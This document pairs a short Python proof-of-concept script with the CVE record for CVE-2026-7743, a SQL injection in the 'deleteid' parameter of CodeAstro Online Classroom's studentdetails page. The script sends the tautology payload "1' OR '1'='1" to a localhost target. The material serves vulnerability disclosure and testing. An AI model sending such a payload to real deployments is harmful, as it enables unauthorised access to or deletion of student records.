CVE-2026-7743

# PoC for CVE-2026-7743: SQL Injection in CodeAstro Online Classroom import requests def check_sqli(url): """ Tests the /OnlineClassroom/studentdetails endpoint for SQL Injection via the 'deleteid' parameter. """ target_endpoint = f"{url}/OnlineClassroom/studentdetails" # Payload attempting to cause a syntax error or time delay (True condition) # Example: ' OR 1=1-- - payload = "1' OR '1'='1" params = { "deleteid": payload } try: print(f"[+] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # Check if the response indicates a successful manipulation or DB error if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL errors or data leakage.") print(f"Response length: {len(response.text)}") # Further analysis of response.text would be needed to confirm exploitation else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)

{"cve": {"id": "CVE-2026-7743", "sourceIdentifier": "[email protected]", "published": "2026-05-04T08:16:02.847", "lastModified": "2026-05-04T15:17:58.710", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in CodeAstro Online Classroom 1.0. The impacted element is an unknown function of the file /OnlineClassroom/studentdetails. The manipulation of the argument deleteid leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://codeastro.com/", "source": "[email protected]"}, {"url": "https://github.com/yuji0903/silver-guide/issues/20", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807695", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360918", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360918/cti", "source": "[email protected]"}]}}